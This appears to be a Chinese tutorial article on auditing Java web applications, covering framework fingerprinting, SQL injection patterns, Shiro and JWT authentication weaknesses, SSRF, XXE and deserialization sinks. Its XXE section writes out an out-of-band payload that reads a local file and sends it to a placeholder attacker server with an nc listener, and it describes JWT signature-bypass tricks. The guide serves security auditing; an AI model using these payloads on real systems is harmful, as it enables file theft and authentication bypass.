代码审计-JAVA----javaweb代码审计思路

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: 代码审计-JAVA----javaweb代码审计思路

一、框架-组件-依赖库-过滤器

1、框架-组件-依赖库

通过了解了开发的框架以及组件以后,可以扩大攻击面

查看配置文件web.xml和外部引用库,确定当前引用框架名称和版本

通过获取的版本等,对比漏洞库

框架确定:
1、maven(查看pom.xml关键字)
spring-core/ springframework.core    spring框架
struts2-core                         struts2框架
springframework.boot                 srping-boot框架
servlet-api                          原生servlet
 
2、lib(查看jar包名称)
spring-core/springframework.core    spring框架
struts2-core                        struts2框架
spring-boot                         srping-boot框架
servlet-api                         原生servlet
配置文件:
Struts2     struts.xml
Spring      applicationContext.xml
Spring MVC  spring-mvc.xml
Hibernate   Hibernate.cfg.xml
Mybaits     mybatis-config.xml

2、过滤器

过滤器专门设置了针对SQL注入、XSS等拦截

通过对过滤器分析,可以知道过滤规则,以及可以最终筛选出未使用过滤器的URL

(也可以搜索关键字定位过滤器)

web.xml中
<filter>
    <filter-name>xsscheck</filter-name>//名字
    <filter-class>com.anbai.sec.XssFilter</filter-class>//class
</filter>
<filter-mapping>
    <filter-name>xsscheck</filter-name>//名字
    <url-pattern>*.jsp</url-pattern>//路由
</filter-mapping>

二、SQL注入

(数据库模式--->sql语句的写法--->函数--->类--->调用层次)

1、JDBC 注入

全称:Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。应用程序可通过这套API连接到关系数据库,并使用SQL语句来完成对数据库中数据的查询、更新和删除等操作

1、PreparedStatement预编译机制(安全写法)
 
// sql语句(使用?进行占位)
String sql = "select * from user where id = ?";         
// sql语句的预编译(返回一个预编译对象)
xxx = conn.prepareStatement(sql);
 
 
2、直接进行拼接(不安全写法)
String sql = "select * from user where id ="+req.getParameter("id");

2、Mybatis注入

使用简单的 XML 或注解来配置和映射原生信息,将接口和 Java 的 POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录

搜索xml查找关键点(如${)--->反推到DAO--->到实现类--->通过调用链找到前台URL--->找到利用点

1、#会对语句进行预编译
安全写法(): select *  from user where name = #{name}
 
2、${ }动态解析SQL时候会进行变量替换( 只进行string替换)
不安全写法(UserDao.xml):select *  from user where name = ${name} 
 
3、产生原因
 
模糊查询
使用#程序会报错         Select * from news where title like ‘%#{title}%’
(可能会把#号改成了$)
正确:                  Select * from news where tile like concat(‘%’,#{title}, ‘%’)
 
 
in 后有参数
使用# 同样会报错        Select * from news where id in (#{ids})
(可能会将将#替换为$)
正确(使用foreach)       id in<foreach collection="ids" item="item" open="("separatosr="," close=")">#{ids} </foreach>
 
 
order by
order by使用的是$,而like和in没有问题

3、Hibernate注入

Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。 Hibernate可以应用在任何使用JDBC的场合,既可以在Java的客户端程序使用,也可以在Servlet/JSP的Web应用中使用,最具革命意义的是,Hibernate可以在应用EJB的JavaEE架构中取代CMP,完成数据持久化的重任

1、安全写法():参数绑定预编译
Query<User>.query=session.createNativeQuery("select * from user  where name=:name");
query.setParameter("name",parameter) ;
 
2、不安全写法(User.java):直接拼接
Query<User>.query=session.createNativeQuery("select * from user  where name="+req.getParameter("id"));

三、安全验证

1、验证框架

1、
Shiro:通用性,是一个权限管理的框架,实现用户认证、用户授权等
Spring Security:和 Spring 无缝整合
……
 
2、分析pom.xml Maven配置文件
<shiro-spring-version>……</shiro-spring-version>
<shiro-ehcache.version>……</shiro-ehcache.version>
针对对应的版本号,搜索已爆出的框架漏洞
 
3、查看shiro配置信息
tumo.shiro.anon_url=\
  /login,/logout,/register,\
  /,/about,/p/**,/links,/comment/**,/link/list,/article/list,\
  /css/**,/js/**,/img/**
(anon代表不需要鉴权的配置,**表示该接口下的所有接口)

2、代码验证

这就得抓包,并结合反编译对验证代码进行审计了


3、过滤器

过滤器的绕过、过滤器未引用


无非就是绕过if等判断语句


4、JWT加密

对于身份等重要的信息可能会使用JWT加密(在不知道密钥的情况下,黑盒很难利用)


JWT是三段式,在cookie中一眼就能看出加密后生成的token


(header.payload.signature)

1、空加密算法   
在header中指定alg为None
变为:header.payload
 
 
2、加密算法
RSA:非对称加密算法,使用私钥加密明文,公钥解密密文
HMAC:对称加密算法,使用相同的密钥对传输信息进行加解密
公钥可以通过一些途径获取(如前端加密等)
尝试使用HMAC替换RSA
 
 
3、kid(header中可选参数,指定加密密钥)
用户可控,可测试注入、文件读取等

四、常规漏洞

1、代码、函数执行

1、可执行函数(如exec()等),搞清楚传递过程,是否用户可控


2、表达式注入(一般是参数值,不过有的也有极少的是参数名,一般会有检测,如OGNL、SpEL、MVEL、EL、Fel、JST+EL等)


3、后端模板引擎注入(如Freemarker、Velocity、Thymeleaf等)


4、第三方开源组件(如Fastjson、Shiro、Xstream、Struts2)


2、SSTI

【SSTI模块注入】SSTI+Flask+Python(上)


【SSTI模块注入】SSTI+Flask+Python(中)


【SSTI模块注入】SSTI+Flask+Python(下)


源码:在pom.xml里面找使用有模版引擎,如freemarker


前端:寻找修改模块的功能点


3、SSRF

【SSRF漏洞】原理、危害利用、触发点、利用过程、协议使用……

危险函数
urlConnection.getInputStream
HttpURLConnection.getInputStream
URLConnection.getInutStream      
HttpClient.execute
OkHttpClient.newCall.execute
Request.Get.execute
Request.Post.execute
URL.openStream                 
ImageIO.rea

4、XXE

【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例

xlsx-streamer poi-ooxml
Documentbuilder|DocumentBuilderFactory|SAXReader|SAXParser|SAXParserFactory|SAXBuilder|TransformerFactory|reqXml|getInputStream|XMLReaderFactory|.newInstance|SchemaFactory|SAXTransformerFactory|javax.xml.bind|XMLReader|XmlUtils.get|Validator
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
org.apache.commons.digester3.Digester
xxx.xlsx:
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://攻击者服务器/xxx.dtd">
%remote;%int;%send;
]>
<root>&send;</root>
 
xxx.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://攻击者服务器:端口/%file;'>">
 
攻击者服务器监听
nc -lvvp 端口

5、反序列化

序列化使用的地方:


1、参数,cookie,sesion,存储时候可能会base64,压缩后的base64、MII等加密


2、Servlets http,Sockets,Session管理器(包含的协议:JMX,RMI,JMS,JND1等)


3、xmlXstream,XmldEcoder等(http Body:Content-type: application/xml)


4、json(jackson,fastjson)http请求中包含


框架组件:fastjson,shiro,jackson,CommonsCollections等


利用工具:


jndi:可用于Fastjson、Jackson等验证

ysoserial:支持多种引用库生成的payload

marshalsec:可以快速启动rmi/ldap server

FastjsonExploit:专门针对fastjson的exp框架


ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

【PHP反序列化】PHP反序列化原理、函数、利用过程

【JAVA反序列化漏洞】简介、原理、工具、环境、靶场、思路


五、审计工具

Fortify、CheckMarx、Findbugs、PMD等

相关文章
|
开发框架 安全 前端开发
[ 代码审计篇 ] Java web 代码审计 详解(一)
之前写了一篇关于代码审计流程的文章,有小伙伴私聊我说不太好理解,这里开始介绍 Java web 的代码审计,同样的来捋一捋审计思路,这就相对要具体一些。
1954 0
[ 代码审计篇 ] Java web 代码审计 详解(一)
|
11天前
|
SQL 安全 Java
JAVA代码审计SAST工具使用与漏洞特征
JAVA代码审计SAST工具使用与漏洞特征
32 1
|
3月前
|
SQL 安全 JavaScript
Java中的代码审计与漏洞检测
Java中的代码审计与漏洞检测
|
3月前
|
SQL 安全 Java
Java中的代码审计与漏洞检测实践指南
Java中的代码审计与漏洞检测实践指南
|
4月前
|
安全 前端开发 Java
代码审计-Java项目&Filter过滤器&CNVD分析&XSS跨站&框架安全
代码审计-Java项目&Filter过滤器&CNVD分析&XSS跨站&框架安全
|
XML 存储 SQL
通过webgoat-xxe、jwt学习Java代码审计
通过webgoat-xxe、jwt学习Java代码审计
363 0
|
安全 Java 中间件
java代码审计之CC1链(一)
前言 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。 commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链。
167 0
|
存储 Java 应用服务中间件
Java代码审计之jspxcms审计(三)
Java代码审计之jspxcms审计
461 0
Java代码审计之jspxcms审计(三)
|
Java
Java代码审计之jspxcms审计(二)
Java代码审计之jspxcms审计
247 0
Java代码审计之jspxcms审计(二)
|
存储 Java 数据库连接
Java代码审计之jspxcms审计(一)
Java代码审计之jspxcms审计
247 0
Java代码审计之jspxcms审计(一)